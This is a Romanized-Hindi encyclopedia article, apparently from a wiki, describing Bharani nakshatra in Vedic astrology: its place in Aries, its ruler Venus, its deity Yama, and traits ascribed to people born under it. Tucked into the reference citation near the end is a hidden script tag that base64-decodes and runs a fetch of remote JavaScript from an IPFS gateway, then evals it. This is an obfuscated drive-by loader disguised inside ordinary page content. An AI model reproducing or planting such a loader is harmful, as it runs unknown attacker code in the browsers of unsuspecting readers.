भरणी नक्षत्र
thumb|250px|bharani nakshatr bharani nakshatr (aangrezi: Bharani Nakshatra) rashi chakr ka doosara nakshatr hai jo 13 digri 20 minat se 26 digri 40 minat tak phaila hai aur mesh rashi mean nivas karata hai. ashvini aur bharani donoan hi nakshatr poori tarah se mangal dvara shasit mesh rashi ke aandar hi nivas karate haian. bharani nakshatr ka svami shukr hai. mangal paurush shakti ko darshata hai aur shukr nari shakti ko. nari aur paurush shakti ke milan se hi is rashi mean astitv ki rachanatmak kshamata ki sanbhavana dikhayi deti hai. bharani nakshatr ka mool gun rajas hai aur isaki gatividhiyaan prathamik aur madhyamik star par dekhi ja sakati haian, lekin tisara star tamas dvara shasit hai. is nakshatr ki mool prerana arth dvara sanchalit gatividhi hai. is nakshatr ke tin prachchhann arth haian. is nakshatr ka pratik hai yoni, jo nari ki prajanan shakti ka pratik hai. doosare star par shakti tatv ka isamean nivas hai. tisare star par mrityu ka devata yam is nakshatr ka devata hai. bharani mesh rashi mean tin dhuandhale taroan se bana hai. is nakshatr mean janm lene vale vyakti apane ghar mean yugm vriksh ke pe d lagate haian.
nakshatr aur isaka akar
bharani shabd ka arth hai, jo bharan-poshan karati hai. nari ki prajanan shakti ke pratik yoni ko bhi bhag kaha gaya hai. vaidik darshan ke anusar yoni ya bhag ko bharatiy karmakaand mean vishesh mahatv diya gaya hai. satahi taur par yah aiandrik vilas ka pratik maloom p data hai, lekin gahan star par yah sarvabhaumik siddhaant ka sanchalan karata hai jo atma (logoan) ko ek chhor se doosare chhor par le jata hai. bhag ka doosara arth shubh hai jo yah sanket deti hai ki bharani ek sarani hai jisake madhyam se daivik shakti jagath ke prakat roop ko poshan deti hai. vaidik darshan ke anusar vyakt ya prakat roop ki do prathamik shaktiyaan haian- shiv-tatv aur shakti-tatv. ye brahmaand ke sakriy aur nishkriy siddhaant haian.[1]
ashvini shiv shakti ke pratik haian aur bharani shakti ki pratik hai. ashvini ka svami ketu hai aur bharani ka shukr. ye grah vikas ki prakriya ko janm dene mean atyant mahatvapoorn bhoomika ada karate haian. ketu ka sanchalan manasik star par hota hai aur yah vishv ko aantahprajna ke madhyam se samajhata hai. yahi karan hai ki ashvini jivan ki sookshmataoan ko keval manovaijnanik star par hi samajhata hai, jabaki shukr ka sanchalan bhautik star par hota hai aur isake lie kuchh bhi nirvaiyaktik nahian rah jata, kyoanki nirvaiyaktik aur bhautik hue bina koee bhi yah anubhav nahian kar sakata ki is grah par jivan kaise prakat hota hai.
devata
mrityu ka devata yam bharani ka mukhy devata hai. yam ka mukhy kam yahi hai ki vah sharir se prithakh hone vali atma ko ek prakar ka sahara ya sharan deta hai, jab tak ki yah atma apani nayi yatra shuroo nahian kar deti. yam ka nam hi logoan ke man mean atank paida kar deta hai lekin yam bahut hi mahatvapoorn bhoomika ka nirvah karata hai, kyoanki yah paryavaran ko svachchh rakhata hai aur atmaoan ko idhar-udhar bhatakane ke lie chho d nahian deta hai, jab tak ki ve naye sharir mean pravesh nahian kar letian. vastutah yam manushy ke prachin poorvajoan mean se ek hai.
yam ke doosare arth ka vyapak prayog yaugik kriyaoan mean kiya jata hai. yam-niyam ke anusar shakti ki prakriya ko shuddh rakhane ke lie manushy ko kee kriyaean karani p dati haian. yam ke mool tatv haian, ahiansa, saty, astey (chori n karana) aur shauch (arthath shuddh jivan jina). jab koee sadhak in yam-niyamoan ka palan karata hai to vah atma ke punarjanm ke lie jivani shakti ko nirdeshit karata hai. isi prakar sharir kamajor ho jata hai aur atma ka bojh vahan nahian kar sakata to yam use purane chole se alag karake naye chole ke lie taiyar karata hai. devata ke roop mean yam jivani-shakti ke nirbadh pravah ke lie uchit marg pradan karata hai.[1]
gun aur prerak shakti
ashvini se lekar ashlesha tak pahale nau nakshatr rajasik udvegoan ke aantargat ate haian. doosara nakshatr hone ke karan bharani usi chetana ko darshata hai aur aiandrik anubhavoan ki duniya ke vikasaparak dizain par karyarat rahata hai. sabhi nakshatroan ka sthir svabhav hota hai. bharani ka svabhav purush ka hota hai. purush chetana ki aantarik ichchha rahati hai ki vah adhikadhik aiandrik sukhoan ka upabhog kare. aiandrik sukh hi use srijan ke path par agrasar karate haian aur svatah hi moh ke bandhan ki prakriya shuroo ho jati hai. prachin rrishiyoan ke anusar bharani shoodr jati ki thi. shoodr prachin sanskriti ka hi aang hai aur unaka kam any samudayoan ki seva karana tha. is arth mean yoni ka kam hai prajanan ki prakriya ke madhyam se manushy jati ki seva karana.
bharani nakshatr ki prajati gaj (hathi) hai, jisaka upayog vyapak roop mean manushyoan aur mal ki avajahi ke lie kiya jata hai. bharani mesh ka prajanan kshetr hai aur jagath ke roop mean prakat hone ke lie anukool vatavaran taiyar karata hai. bharani nayi yoni mean pravesh karane ke lie yatra-chakr shuroo karane ke lie taiyar ahan ki madad bhi karata hai. bharani nakshatr ka svami shukr aranbh mean aiandrik star par hi sakriy rahata hai lekin shukr ka vastavik lakshy duniya ke sukhoan ka upabhog karane ke bad atma ko moksh ke path par agrasar karana hai. rajasik gun isi biandu se age badhate hue adhikatam star par apani bhoomika ka nirvah karana shuroo kar dete haian, kyoanki gatividhiyaan har star par dikhayi deti haian.
gun aur vyaktitv
bharani nakshatr ka svami shukr hai aur mesh rashi mangal dvara shasit hai. is rashi ka tatv agni hai pratik medha hai. soory is rashi mean uchchasth hota hai. bharani, shukr aur mangal anant samarthy pradan karate haian; yah ek aisa avashyak vatavaran nirmit karane mean saksham hai jahaan se ek vilakshan prakar ki jivani shakti ka uday hone lagata hai. is samanvay se yah bhi sanket milata hai ki b da se b da svapn ya ichchha bhi vastavikata mean badali ja sakati hai basharte ki sankalpana spasht ho. yadi ek bar bij bo diya jae aur vah aankurit hone vala ho to usamean ek vriksh ke roop mean vikasit hone ki poori sanbhavana hoti hai basharte ki isaka uchit roop mean poshan kiya jata rahe. man apane ap hi ekagr hone lagata hai kyoanki vyakti bahut samay tak mehanat ke phal se vanchit nahian rah sakate. aranbhik saphalata se lanbi aur lagabhag asanbhav-si dikhane vali yatra ka marg prashast hone lagata hai. svapn ke charitarth hone mean ek prakar ka rahasyavad ju da hota hai aur ek bar jab yah rahasyavad manushy par havi ho jata hai to saphalata manushy ka anusaran karane lagati hai.
svapn ke charitarth hone mean ek prakar ka rahasyavad hota hai aur ek bar jab yah rahasyavad manushy par havi ho jata hai to saphalata manushy ka anusaran karane lagati hai. unaki adhikar kshamata, netritv ke gun aur shakti unhean lagabhag ajey bana dete haian. is nakshatr ke jatak dayalu aur udar haian. log isaka labh utha sakate haian; lekin yah itana asan bhi nahian hai, kyoanki jatak ka dimag bahut shatir hota hai aur jatak bahut jaldi bhaanp jate haian ki usake charoan or kya chal raha hai. jatak apane parivar ka poora khayal rakhate haian, lekin vah apana pyar dikhate nahian haian aur kabhi-kabhi isi karan usako galat samajh liya jata hai. arogy ke prati sachet rahane ke karan jatak saph-suthara ghar pasand karate haian. prachin aur durlabh kalakritiyoan se jatak apane ghar ko saja sakate haian. jatak kisi ke dukh ya kasht se jaldi hi dravit ho jate haian. log usaki eemanadari ka labh utha lete haian, lekin isase jatak vichalit nahian hote. jatak doosaroan ke kasht door karane ke lie aur unhean khush dekhane ke lie unaki madad karate haian aur apane oopar bhi yahi sootr istemal karate haian.[1]
bharani nakshatr ke jatak bahut sanvedanashil hote haian. agar kisi ne usake lie kuchh kiya hai to use bhoolate nahian haian. vah donoan hi sthitiyoan mean bahut age tak ja sakate haian. agar vah kisi ka bhala karane par utar ate haian to isaki koee sima nahian rahati aur agar kisi ko barbad karane par tul jate haian to bhagavan hi use bacha sakate haian. yadi koee usake vicharoan ka samarthan nahian karata to dhiraj kho baithate haian aur pareshan ho jate haian. vah apane vicharoan ko bahut door tak phailane ki cheshta n karean, kyoanki yahi usaki sabase b di kamajori ban sakati hai.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 rashi chakr ka doosara nakshatr hai bharani (hiandi) tv9hindi.com. abhigaman tithi: 01 navanbar, 2022.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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